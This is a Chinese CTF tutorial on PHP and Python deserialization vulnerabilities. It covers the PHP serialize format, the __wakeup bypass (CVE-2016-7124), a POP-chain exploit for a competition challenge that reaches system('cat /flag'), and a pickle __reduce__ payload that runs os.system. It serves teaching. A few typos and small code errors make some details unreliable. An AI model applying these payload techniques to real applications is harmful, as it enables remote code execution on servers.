概念 #
序列化是指将数据结构或对象状态转换为可以存储(如文件、内存缓冲区)或传输(如通过网络传输数据)的格式的过程。
在序列化过程中,对象的公共字段、私有字段和对象的类型等信息将被包含在序列化的数据中,以便在未来能够使用这些数据重建对象。反序列化反之。
比如玩单机游戏时,断点保存会将当前游戏状态(包括玩家的位置、等级、持有的物品、已完成的任务等)转换成一种可以存储到磁盘上的格式,可以理解为是序列化的过程。恢复的过程,可以理解为是反序列化的过程。
ctf web中常基于PHP/Python的序列化机制出题。
PHP反序列化 #
serialize 和 unserialize 函数 #
PHP 提供了 serialize
和 unserialize
函数来支持这 上述2 种操作,当 unserialize
函数的参数被用户控制时可能会形成反序列化漏洞。
<?php
class a_object{
public $id = 123;
public $name = "abc";
protected $age = 18;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));
?>
输出
// “变量类型O:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
O:8:"a_object":3:{s:2:"id";i:123;s:4:"name";s:3:"abc";s:6:"*age";i:18;}
Object
(
[id] => 123
[name] => abc
[age:protected] => 18
)
$a = array('aa','bbb','ccc');
$a_ser = serialize($a);
echo "$a_ser";
echo '<br>';
print_r(unserialize($a_ser));
输出
// 序列化结果
// 其中 “a” 表示这是个数组,长度是3,数组的每个元素的格式形如 “i:0;s:2:"aa";”,其中 “i” 表示 整型,“s” 表示字符串
a:3:{i:0;s:2:"aa";i:1;s:3:"bbb";i:2;s:3:"ccc";}
// 反序列化结果
Array
(
[0] => aa
[1] => bbb
[2] => ccc
)
注意声明为
protected
的字段序列化格式为 “%00*%00属性名”,声明为private
的字段序列化格式为 %00类名%00属性名。由于%00为非可打印字符,容易导致复制粘贴出错,建议直接编写php代码进行后续可能存在的
base64_encode
,str_replace
等操作。$a = array('aa','bbb','ccc'); $a_ser = serialize($a); $a_ser = str_replace(":2:", ":3:", $a_ser); $a_ser_encode = base64_encode($a_ser);
魔术方法 #
魔术方法是一种特殊的方法,以 __
开头,当对对象执行某些操作时会覆盖 PHP 的默认操作。
__construct()
: 构造函数,每次创建新对象时先调用此方法,非常适合在使用对象之前做一些初始化工作__destruct()
: 析构函数,某个对象的所有引用都被删除或者当对象被显式销毁时执行,一般脚本运行结束时会被调用__sleep()
:serialize()
函数会检查类中是否存在一个魔术方法__sleep()
。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,提供了对序列化过程的细粒度控制,如有一些很大的对象,但不需要全部保存。 并不是类似其他语言使程序暂停执行一定时间的函数。__wakeup()
:__wakeup()
经常用在反序列化serialize()
操作中,例如重新建立数据库连接,或执行其它初始化操作。__toString()
: 一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
从序列化到反序列化调用的魔术方法顺序一般是:
__construct() -> __sleep() -> __wakeup() -> __destruct()
__wakeup()
函数在执行 unserialize()
时,先会调用这个函数,有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup()
函数就要先绕过,绕过方法是令对象属性个数的值大于真实个数的属性(CVE-2016-7124漏洞)。如
// :4: 比实际属性个数 :3: 大
O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}
POP链 #
POP(Property-Oriented Programing)面向属性编程。
PHP反序列化常考查反序列化一个对象时,传入的参数可控,如何构造POP链(如调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点),达到利用特定漏洞的效果。
参看以下代码(强网杯Web真题),讲讲构造POP链,绕过魔术方法最后获取flag(system('cat /flag')
在jungle类中的KS方法中)的过程:
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!\n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?\n";
}
else{
echo "Must Be Yasuo!\n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
阅读全篇的代码,能够发现以下关联关系:
topsolo
中的TP() $name();
可以与midsolo
的__invoke()
关联midsolo
中的Gank() stristr
可以与jungle
的__toString()
关联
所以整个POP链构造如下,同时需要绕过midsolo
的__wakeup
:
topsolo -> __destruct() -> TP() -> $name() -> midsolo -> __invoke() -> Gank() -> stristr() -> jungle -> __toString -> KS() -> syttem('cat /flag')
对应php代码即:
$jun = new jungle();
$mid = new midsolo($jun);
$top = new topsolo($mid);
// $ser = serialize($top);
// 绕过`midsolo`的`__wakeup`
// $ser = str_replace( '"midsolo":1:', '"midsolo":2:', $ser);
// $filename = "example.ser";
// $file = fopen($filename, "w");
// fwrite($file, $ser);
// fclose($file);
$filename = "example.ser";
$file = fopen($filename, "r");
$fileSize = filesize($filename);
$ser = fread($file, $fileSize);
fclose($file);
unserialize($ser);
Python反序列化 #
Python 中最常用的序列化模块是 pickle 模块。
pickle 模块 #
import pickle
class test:
def __init__(self):
self.people = 'lituer'
a = test()
serialized = pickle.dumps(a)
print(serialized)
unserialized = pickle.loads(serialized)
print(unserialized.people)
输出
b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'
lituer
当然和php一样也可以序列化字符串,数组,字典,类。
__reduce__
这个魔术方法类似php的__wakeup
,用于在反序列化时返回用户重新构建object所需要的信息。
Python 要求该方法返回一个元组(callable, ([para1,para2...])[,...])
,那么每当该类的对象被反序列化时,该 callable
就会被调用,参数为para1、para2
。
同时__reduct__
方法本身的实现及使用到的相关数据会在序列化时保存。
想较于php的__wakeup
是目标环境写死的,我们可以控制和修改__reduce__
的实现,即可实现任意代码执行。
import pickle
import os
class test:
def __init__(self, people):
self.people = 'lituer'
def __reduce__(self):
return (os.system, ("pwd",))
a = test()
serialized = pickle.dumps(a)
print(serialized)
unserialized = pickle.loads(serialized)
print(unserialized)
print(unserialized.people)
输出
b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x03pwd\x94\x85\x94R\x94.'
/Users/zqq/Desktop
0
Traceback (most recent call last):
File "/Users/zqq/Desktop/1.py", line 16, in <module>
print(unserialized.people)
AttributeError: 'int' object has no attribute 'people'
留意这里的报错,
AttributeError: 'int' object has no attribute 'people'
因为
os.system
返回的是执行命令的状态码,所以unserialized
为int类型;如果改为def __reduce__(self): return (self.__class__, (self.people, ))
则
unserialized
为<__main__.test object at 0x7f89c81313d0>